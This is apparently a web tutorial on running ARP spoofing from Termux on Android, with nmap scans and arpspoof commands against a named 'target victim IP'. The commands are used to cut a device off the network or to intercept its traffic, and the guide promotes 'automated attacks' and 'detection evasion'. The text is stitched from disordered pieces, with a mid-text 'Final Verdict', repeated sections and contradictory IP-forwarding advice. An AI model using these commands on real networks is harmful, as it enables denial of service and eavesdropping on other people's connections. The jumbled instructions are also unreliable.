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Netcut Termux: The Ultimate Guide to Network Scanning & ARP Spoofing on Android

Basic Usage

  • Scanning Networks: Use tools like nmap or arp-scan within Termux to scan for devices on your network. For instance, nmap -sP 192.168.1.0/24 scans the 192.168.1.0 network for live hosts.
  • Controlling Connections: After identifying unwanted devices, you can use iptables or specific Netcut commands to control their access. For example, to block a device’s IP address (e.g., 192.168.1.100), you can use iptables -A INPUT -s 192.168.1.100 -j DROP.

Limitations on Android

  • Many tools require binaries not packaged for Termux or need compilation.
  • Root access is typically required for active attacks; newer Android versions restrict low-level network access.
  • Wi‑Fi chipsets and drivers may prevent packet injection or promiscuous mode.

Part 8: Final Verdict – Is Netcut on Termux Worth It?

Yes, but not Netcut itself. The combination of Termux with tools like arpspoof, bettercap, and nmap far exceeds anything the original Netcut offers. You get:

  • Cross-platform (any Android device)
  • Scriptable (automated attacks)
  • More features (sniffing, injection, detection evasion)
  • Free and open-source

The only downside is the learning curve — command-line vs. GUI. However, once mastered, you’ll never miss the point-and-click interface.

Using arpspoof (Manual Control)

This requires Root access.

Step 1: Identify your Network Info Find your network interface (usually wlan0) and your Gateway IP (Router IP).

ifconfig
ip route

Look for a line like: default via 192.168.1.1 dev wlan0.

  • Gateway: 192.168.1.1
  • Interface: wlan0

Step 2: Identify the Target You need to scan the network to find the IP address of the device you want to cut. Use nmap:

pkg install nmap
nmap -sP 192.168.1.1/24

This lists all connected devices. Pick a target IP, e.g., 192.168.1.50.

Step 3: Execute the Cut Run the following command to intercept traffic between the target and the router.

sudo arpspoof -i wlan0 -t 192.168.1.50 192.168.1.1
  • -i wlan0: Your interface.
  • -t 192.168.1.50: The target victim IP.
  • 192.168.1.1: The Gateway/Router IP.

Step 4: Enable Forwarding (Optional) By default, this intercepts traffic. If you just want to cut them off completely, you must ensure IP forwarding is OFF or drop the packets. If you want to spy on the traffic (MITM), you turn forwarding ON.

To cut internet completely:

sudo sysctl -w net.ipv4.ip_forward=0

4. Alternative: Manual ARP Spoofing (Advanced)

If you prefer a manual approach without third-party scripts, you can use arpspoof (part of the dsniff suite) if your device is rooted.

  1. Install dsniff: 
    pkg install dsniff
  2. Enable IP Forwarding (Root required): 
    echo 1 > /proc/sys/net/ipv4/ip_forward
  3. Run the ARP spoof command (replace [Target IP] and [Gateway IP]): 
    arpspoof -i wlan0 -t [Target IP] [Gateway IP]

Enable IP forwarding (to avoid self-DoS)

echo 1 > /proc/sys/net/ipv4/ip_forward